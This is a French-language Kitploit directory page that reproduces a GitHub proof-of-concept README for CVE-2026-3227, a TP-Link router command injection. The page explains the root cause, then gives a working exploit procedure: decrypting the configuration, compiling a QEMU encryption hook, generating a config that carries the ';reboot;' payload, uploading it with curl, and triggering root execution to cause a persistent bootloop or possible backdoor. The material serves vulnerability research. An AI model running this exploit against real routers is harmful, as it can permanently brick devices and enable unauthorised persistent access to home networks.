Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-3227-TP-Link-authenticated-RCE — Preuve de concept pour l'injection de commandes OS authentifiée dans le firmware de routeur TP-Link. Comprend le déchiffrement, un hook de chiffrement basé sur QEMU et la génération de charge utile de 15 caractères pour un bootloop persistant ou un déploiement de porte dérobée. | Kitploit
Outils/GitHubGitHub/do4choo/cve-2026-3227-tp-link-authenticated-rce
Sécurité IoTAnalyse des VulnérabilitésExploitationRétro-ingénierieExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationAnalyse de MicrologicielExploitation de Binaires

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
GitHubdo4choo/cve-2026-3227-tp-link-authenticated-rce

CVE-2026-3227-TP-Link-authenticated-RCE

Preuve de concept pour l'injection de commandes OS authentifiée dans le firmware de routeur TP-Link. Comprend le déchiffrement, un hook de chiffrement basé sur QEMU et la génération de charge utile de 15 caractères pour un bootloop persistant ou un déploiement de porte dérobée.

Voir le dépôt
421252il y a 2 moisVérifié par Kitploit

CVE-2026-3227 : Injection de commande OS dans le routeur TP-Link

CVE Status Hardware Language

Pour plus d'informations, voir https://www.cve.org/CVERecord?id=CVE-2026-3227

Une vulnérabilité d'injection de commande OS persistante et authentifiée dans le firmware des routeurs TP-Link, entraînant le brickage de l'appareil ou une éventuelle prise de contrôle du LAN.

Avertissement : Ce dépôt contient un code de preuve de concept (PoC) pour une vulnérabilité corrigée. Il est destiné à des fins éducatives et pour les chercheurs en sécurité.

Résumé exécutif

Une vulnérabilité d'injection de commande existe dans le mécanisme de sauvegarde/restauration de la configuration de plusieurs routeurs TP-Link (y compris TL-WR802N, TL-WR841N et TL-WR840N). Un attaquant disposant d'un accès administrateur peut télécharger la configuration du routeur, la déchiffrer, injecter une commande OS malveillante (jusqu'à 15 caractères) dans des champs XML spécifiques, la rechiffrer et la téléverser sur l'appareil.

Lorsque le routeur applique la configuration (par exemple, lors d'événements de déclenchement de port ou au démarrage), la charge utile injectée est exécutée en tant que root. Cela peut être utilisé pour provoquer une boucle de démarrage persistante (bricker l'appareil de manière permanente en survivant aux réinitialisations d'usine) ou potentiellement permettre un accès persistant pour un pivotement dans le LAN.


Le parcours de la découverte (comment je l'ai trouvé)

En explorant la fonction de sauvegarde de configuration du routeur, j'ai décidé de faire du reverse engineering du binaire httpd et de la bibliothèque libcmm.so pour comprendre comment les fichiers de configuration sont chiffrés et analysés.

  1. Déchiffrement : J'ai réussi à écrire un script Python pour déchiffrer le blob de configuration du routeur, ce qui m'a permis de lire la configuration XML sous-jacente.
  2. Trouver le point d'injection : En analysant les paramètres XML, j'ai trouvé des points d'injection qui étaient passés directement à des fonctions d'exécution système sans assainissement.
  3. Le défi du chiffrement : Reproduire l'algorithme de chiffrement était difficile. Malgré le reverse engineering du code et les tentatives de réimplémentation de l'algorithme en Python et en C, je n'ai pas pu produire un fichier chiffré que le routeur accepterait.
  4. La solution de contournement (Hooking QEMU) : Au lieu de réinventer la roue, j'ai adopté une approche d'ingénierie offensive. J'ai émulé l'architecture du routeur en utilisant qemu-user et j'ai hooké le binaire httpd original du routeur au moment de l'exécution (create_config.c). Cela m'a permis d'invoquer directement les fonctions de chiffrement natives du routeur depuis mon PoC Python, imitant parfaitement le format de chiffrement original.

Analyse technique approfondie / Analyse de la cause racine

La vulnérabilité réside dans la façon dont le produit analyse le blob de configuration chiffré et l'applique au moment de l'exécution. Dans le chemin de configuration du déclenchement de port, l'implémentation construit des commandes shell en utilisant des champs contrôlables par l'utilisateur sans assainissement approprié.

Plus précisément, la fonction oal_pt_addPortTrigger appelle :

root@kitploit:~
util_execSystem("oal_pt_addPortTrigger",
  "iptables -A FORWARD_PT -i br+ -p %s -j TRIGGER --trigger-type out --trigger-proto %s --trigger-match %d-%d --trigger-relate %d-%d",
  &local_48, &local_44, *(undefined4 *)(param_2+4), *(undefined4 *)(param_2+4), *psVar3, psVar3[1]);

La chaîne de format %s est renseignée avec une chaîne d'interface (X_TP_IfName) analysée directement depuis la configuration XML téléversée.

Le flux d'exécution :

  1. Téléversement : http_cgi_gdpr_main -> rdp_setObj -> rsl_setObj -> oal_pt_addPortTrigger
  2. Analyse : oal_pt_addPortTrigger appelle forward_parsePtOpenPort pour analyser les listes de ports.
  3. Exécution : Le système construit la chaîne de commande iptables et l'exécute via util_execSystem (qui encapsule system()).

En modifiant le XML déchiffré pour inclure :

root@kitploit:~
<X_TP_IfName val=";reboot;"/>

La commande est exécutée lors de l'initialisation de l'interface au démarrage ou lorsqu'un événement de déclenchement de port se produit. Comme la charge utile est limitée à 15 caractères, l'élaboration de l'exploit nécessite des techniques d'exécution de commandes compactes.

Preuve de concept (PoC)

Pour éviter de distribuer des binaires TP-Link protégés par le droit d'auteur, ce PoC vous oblige à extraire vous-même le système de fichiers du routeur afin d'utiliser les bibliothèques de chiffrement natives via un hook QEMU personnalisé.

Prérequis

  • qemu-mipsel et un compilateur croisé (gcc-mipsel-linux-gnu)
  • Python 3 et les dépendances (pip install pycryptodome)
  • Firmware extrait à l'aide de binwalk -Me <firmware.bin>

Étape 1 : Préparer l'environnement

  1. Extrayez le firmware cible et copiez le répertoire squashfs-root dans 'python_utils/' de ce projet.
  2. Compilez le hook QEMU :
    root@kitploit:~
    mipsel-linux-gnu-gcc -shared -fPIC -g -O0 c_hook/create_config.c -o python_utils/create_config.so
    

Étape 2 : Générer la configuration malveillante

  1. Connectez-vous à votre routeur et téléchargez une sauvegarde de configuration (config.bin).
  2. Exécutez le générateur de charge utile :
    root@kitploit:~
    python3 generate_payload.py -i config.bin -o exploit.bin -p ";reboot;"
    
    Note : La charge utile ne doit pas dépasser 15 caractères.

Étape 3 : Téléverser la config via curl (la fonction de mise à jour de mon routeur n'était qu'un gadget et ne faisait rien).

root@kitploit:~
curl -X POST "http://192.168.0.1/cgi/confup" \
  -H "User-Agent: Mozilla/5.0" \
  -H "Referer: http://192.168.0.1/mainFrame.htm" \
  -H "Origin: http://192.168.0.1" \
  -H "Cookie: JSESSIONID=<JSESSIONID_COOKIE>" \
  -F "[email protected];type=application/octet-stream"

Étape 3 : Déclencher l'exploit

  1. Une fois que le routeur redémarre et applique les paramètres, naviguez vers Forwarding -> Port Triggering.
  2. Ajoutez un nouveau déclencheur de port (par exemple, sélectionnez "Battle.net" dans la liste déroulante) et enregistrez.
  3. La commande OS injectée s'exécutera en tant que root. Si vous avez utilisé ;reboot;, le routeur redémarrera immédiatement et entrera dans une boucle de démarrage persistante.
Télécharger l’outil